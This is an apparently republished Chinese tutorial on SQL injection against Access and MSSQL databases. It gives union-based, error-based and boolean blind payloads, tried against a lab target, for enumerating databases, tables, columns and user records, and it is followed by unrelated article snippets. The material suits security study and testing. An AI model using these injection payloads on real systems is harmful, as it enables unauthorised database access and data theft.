1-9其他数据库注入

文章目录

  • 数据库注入
      • access数据库
          • 判断access数据库
          • 常用函数
          • 查询语句构造
            • 联合查询
            • 布尔型盲注
      • mssql数据库
          • mssql数据库判断
          • 环境---靶机-2k3_sp2
          • 常用函数
          • 查询语句构造
            • 联合查询
            • 报错注入
            • 布尔型盲注

数据库注入

access数据库

判断access数据库
  • 根据url的后缀。ASP为后缀名的是ACCESS数据库
  • 在url后面加单引号,以报错信息“Microsoft ole db provider for odbc drivers”判断为access
  • 通过and (select count(*) from msysobjects)>0发牛错误页面则为access数据库。msysobjects、msysqueries\msysrelationships为access的三个系统表,web环境下没有权限访问
常用函数
  • count():返回统计给定条件的行数
  • len():字符串长度,例len(‘database’)返回’8‘
  • asc():返回ascii值
  • mid(‘字符串’,n,m):返回从第n位开始,截取m长度的字符串
  • chr():返回ascii对应的字符
  • IIF(条件表达式,true,false):判断条件成立返回true,否则返回false
  • exists():判断是否存在数据,返回true或false
查询语句构造
联合查询

先判断数据库类型

  1. 判断整型注入还是字符型,例?id=5-1和?id=4相同,则整型
  2. 判断列数:?id=1 order by N
  3. 枚举获取关键表名:?id=1 and exists(select count(*) from admin),看admin表是否存在,如果返回值则存在,反之
  4. 获取回显位置:?id=1 union select 1,1,1 from admin
  5. 获取数据(不存在limit和concat):?id=1 union select 1,user(),1 from admin where id=2,如果报错,则没有猜解函数的字段

在这里插入图片描述

布尔型盲注
  1. 猜解表名:?id=5 and (select count(*) from admin)>0或?id=5 and exists(select count(**) from admin),页面出错则不存在
  2. 表的行数:?id=5 and (select count(*) from admin)>N
  3. 猜解字段名:?id=5 and (select uname from admin)
  4. 猜解字段内容的长度:?id=5 and (select top 1 len( username) from admin)>N
  5. 获取内容值:用mid函数将内容截取长度,再进行asc函数得到ascii码值,就得到对应的字符了。输入?id=5 and (select top 1 asc(mid( username,M,1)) from admin)>N,M从1看是截取1的长度,用二分法不停尝试N的值,知道找到正确N值,M再加一,最后加至5获取该字段内容为admin。

mssql数据库

mssql数据库判断
  • .aspx为后缀的
  • 通过?id=5 and (select count(*) from sysobjects)>0,页面正常,则为mssql数据库。因为存在三个系统表,
    • sysobjects:存放所有对象。字段有name-对象名、id-对象id、xtype-对象类型、uid、status)
    • syscolumns:存放所有字段。字段有name-表名,id-表id,colid-字段id。当xtype=u and status>0时,对象名=表名,对象id=表id
    • sysdatabases:保存在master数据库中,保存了所有库名,库id和其他信息
环境—靶机-2k3_sp2

在这里插入图片描述

  1. 开启服务

  2. 登录数据库
    在这里插入图片描述

  3. http://192.168.43.21:8006/dianpu.aspx?id=1实践

常用函数
  • host_name():返回服务器的名称
  • Currnet_user:返回当前数据库用户
  • db_name():返回当前数据库名称
  • CHAR():将ascii转换为字符
  • Object_id():返回数据库表名,通常用16进制或sql编码
  • col_name(table_id,column_id):返回指定表中的列
  • isnull():使用指定的替换值替换null
  • substring():返回子字符串,也就是截取
查询语句构造
联合查询
  1. 判断数据库类型:输入/dianpu.aspx?id=1 and (select count(*) from sysobjects)>0页面正常,为mssql数据库

  2. **判断列数:**输入?id=1 order by 14,页面报错,则为13列,并且回显位是字符串时,会在页面显示,这里第10列为字符串

  3. **判断回显位置:**字符串的位置用null代替,输入?id=1 union select

    1,2,3,4,5,6,7,8,9,null,11,12,13页面报错,意思union执行了默认的去重功能,那这里不需要,所以重新输入为?id=1 union all select 1,2,3,4,5,6,7,8,9,null,11,12,13,

在这里插入图片描述

但是页面依然报错,如下,所以哈是有的位置依然不是数字型,只能一个一个将位置置空,换null,来确定哪些是字符型位置,最终确定为?id=-1 union all select 1,2,null,null,55,null,null,8,9,null,null,12,13,页面正常

在这里插入图片描述

  1. **获取数据库名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from master…sysdatabases,页面显示所有数据库名

  2. 获取当前数据库名:输入?id=-1 union all select 1,2,null,null,55,db_name(),null,8,9,null,null,12,13 from master…sy,页面显示当前数据库为jiaofan

  3. **获取数据库表名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…sysobjects where xtype=0x5500,即jiaofan数据库下的表

  4. **获取列名:**输入?id=-1 union all select 1,2,name,null,55,null,null,8,9,null,null,12,13 from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=0x73006C005F007500730065007200),页面显示表中的列名信息

  5. **获取列字段的内容:**输入?id=-1 union all select 1,2,zuocheng,null,55,null,null,8,9,null,null,12,13 from sl_user,即获取sl_user表中zuocheng字段的信息

在这里插入图片描述

报错注入
  1. **获取数据库名:**输入http://192.168.43.21:8006/list.aspx?quyu=??′¨′ó?§?-°2oóD£??&kouwei=3?à±’ and 1=(select top 1 name from master…sysdatabases where name not in (select top N name from master…sysdatabases)) --+,该语句意思N值从0增加,逐个获取数据库名,查询第一数据库名,查第二个时,需要去更改N值 从报错信息知数据库为master

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I5GhwXk2-1597919684695)(D:\Desktop\乱七八糟\渗透\笔记\图库\1595341928185.png)]

  2. **获取当前数据库名:**输入’ and 1=(select db_name()) --+,获取的为jiaofan

  3. **获取库里面的表:**输入’ and 1=(select top 1 name from jiaofan…sysobjects where xtype=‘U’ and name not in (select top N name from jiaofan…sysobjects where xtype=‘U’)) --+,显示的表为sl_banner,将N值从0增加,逐个获取表名

  4. **获取列名信息:**输入’ and 1=(select top 1 name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’) and name not in (select top N name from jiaofan…syscolumns where id=(select id from jiaofan…sysobjects where name=‘sl_user’))) --+,同理,逐个获取列名,这里是shouji

  5. 获取列中的信息:输入’ and 1=(select top 1 shouji from sl_user where shouji not in (select top N shouji from sl_user)) --+,获取到了相应的信息

布尔型盲注

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358802.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

tp框架 db::name_玩! 框架:为什么我会爱上它

tp框架 db::name前一段时间,我是房地美,房地美,Foreclosure.com和HUD等公司在房地产市场上进行一些大型部署的技术负责人。 我们运行的是您可能熟悉的传统企业Java堆栈-Spring , Hibernate ,Solr等。花了几年时间&…

自动化专业向往硬件方面靠,有什么好的建议?

我的建议是: 有能力考研就先考研,考不上可以选择就业,学历还是很重要的,门槛。自动化可以找一些相关的知名企业,按照他们的招聘要求要求自己,往这个方法发展,垂直领域研究很深,你就是大佬和专家。 有个帖子讲的挺全的,虽然是文章:自动化人生 下面是理论内容,我直接…

java 内存数据库 sql_ssm+redis +Maven用于内存数据库 (No Sql)入门demo

最近一直是以自学的状态,想把自己学习到的知识分享给大家 ,也是好久没有写博客了。废话不多说 ,直接上代码。本次项目是 用maven 管理的.开发工具 eclipse在pom.xml文件中,中关于redis的配置:org.springframework.data…

Fitness - 05.23

倒计时222天 运动40分钟,共计8组,4.2公里。拉伸10分钟。 每组跑步3分钟(6.5KM/h),走路2分钟(5.5KM/h)。 终于赶在姨妈前完成第3周的跑步训练了,可喜可贺~~ 下周预计要休息了orz... 祈…

Linux下编译安装以及配置PHP环境

安装准备 依次执行下面命令,不存在的就搜差不多的就行,下面安装的都是后面安装环境可能需要用上的依赖,不管37是不是21,复制粘贴就是了 Ubuntu安装: sudo apt-get update sudo apt-get install gcc autoconf openssl libssl-dev curl libcurl4-gnutls-de…

开发SPI时不要犯这个错误

您的大多数代码都是私有的,内部的,专有的,并且永远不会公开。 在这种情况下,您可以放轻松–您可以重构所有错误,包括那些可能导致API更改中断的错误。 但是,如果要维护公共API,则不是这种情况。…

有什么好一点的方法读jdk源码吗?

建议是: 1:找相关的书在看相关源码时应该对程序有整体了解,比如看虚拟机时至少要知道:垃圾回收算法,Java内存布局,class文件格式,加载连接的过程...很多人看源码一点头绪都没有,就是因为不了解对应的模块是干嘛的(比如Ja

给女朋友道歉的java代码_跟女朋友道歉的话,高情商的哄人句子

女朋友生气了,而且很严重。在这种情况下,不知道做什么挽回她。第一诚实的道歉可以缓和彼此紧张的气氛。重要的是,道歉完就需要说一些话语去哄她,至于怎么哄又是一个技术性的问题了,下面一起来看看跟女朋友道歉的话,高情…

使用Myeclipse完成Hibernate的逆向工程

Hibernate的开发流程一般有两种: 1、由Domain object > mapping > db 2、由db开始,用工具生成生成mapping 和Domain object。 在实际的开发过程中,涉及的表太多了,一个一个的写java实体类很费事费时的。Myeclipse提供了一个…

面试用涉及到的jvm常见的面试题(一)

什么是jvm? JVM是Java Virtual Machine(Java虚拟机)的缩写,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。 引入Java语言虚拟机后,Java语言在不同平台上运行时不需要重新编译。Java语言使用Java虚拟机…

kali安装docker(有效详细的教程)

前记: 博主有着多次安装docker的丰富经验,曾经为了在kali成功安装docker花费不少时间。在kali2016.3一直到最新的kali2019.4都通吃!所以跟着下面的步骤走,绝对不会出错。(该机子此前没装过docker,并且配置好…

java中 下列不合法的语句_在Java中,下列( )是不合法的赋值语句。_学小易找答案...

【多选题】一个国家一定时期的商品销售额属于?【单选题】某厂2007年完成产值200万元,2008年计划增长10%,实际完成231万元,超额完成计划?【多选题】我国GDP每增长1%,相当于人均增加收入70多元;全国将增加60—80万个就业岗位。这里用到的指标有?【单选题】轴的最小实体尺寸为(…

最大流EK和Dinic算法

最大流EK和Dinic算法 EK算法 最朴素的求最大流的算法。 做法&#xff1a;不停的寻找增广路&#xff0c;直到找不到为止 代码如下&#xff1a; Frosero #include <cstdio> #include <iostream> #include <cstring> #include <queue> #define INF 0x3f3…

某大厂JVM常见面试题(二)吐血整理

什么是JVM? JVM是Java Virtual Machine(Java虚拟机)的缩写,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。 引入Java语言虚拟机后,Java语言在不同平台上运行时不需要重新编译。Java语言使用Java虚拟机…

_stat64获取错误_Log4j,Stat4j,SMTPAppender集成–汇总错误日志以发送过多电子邮件...

_stat64获取错误我们的开发团队希望在生产系统出现问题时尽快得到通知&#xff0c;这是一个每天为成千上万的客户提供服务的关键Java Web应用程序。 想法是让它在出现太多错误时向我们发送电子邮件&#xff0c;这些错误通常表示数据库&#xff0c;外部Web服务有问题&#xff0c…

Kali2021修改更新源

本次演示三种环境更换更新源 Xfce4版本 KDE版本 命令行版本 更新源 #中科大 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

java面试中jvm执行子系统详细分析(三)

什么是jvm? JVM是Java Virtual Machine(Java虚拟机)的缩写,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。 引入Java语言虚拟机后,Java语言在不同平台上运行时不需要重新编译。Java语言使用Java虚拟机…

java中菜单分几级_JavaWeb三级菜单分类查询详解

废话不多说&#xff0c;直接贴代码&#xff1a;dao层代码&#xff1a;mapper&#xff1a;ListselectByParentId(Integer id);mapper.xmlselectfrom easybuy_product_categorywhere parentId #{parentId,jdbcTypeINTEGER}Test:import cn.hd.entity.ProductCategory;import cn.h…

使用Javaslang进行Java 8中的函数式编程

我们非常高兴地在jOOQ博客上宣布一个客座帖子&#xff0c;该帖子由HSH Nordbank的高级软件工程师&#xff0c;三个孩子的父亲&#xff0c; Daniel Dietrich撰写。 他目前作为项目负责人和首席开发人员为金融产品创建定价框架。 除工作外&#xff0c;他还对编程语言&#xff0c…

HFS远程命令执行漏洞复现

漏洞程序下载地址:Http File Server 这里说一下&#xff0c;在Windows server 2003中复现时&#xff0c;我直接使用Administrator用户登录&#xff0c;然后复现&#xff0c;未出现权限问题。再Windows 10中尝试复现时发现权限不足&#xff0c;需要以管理员权限执行漏洞程序。 运…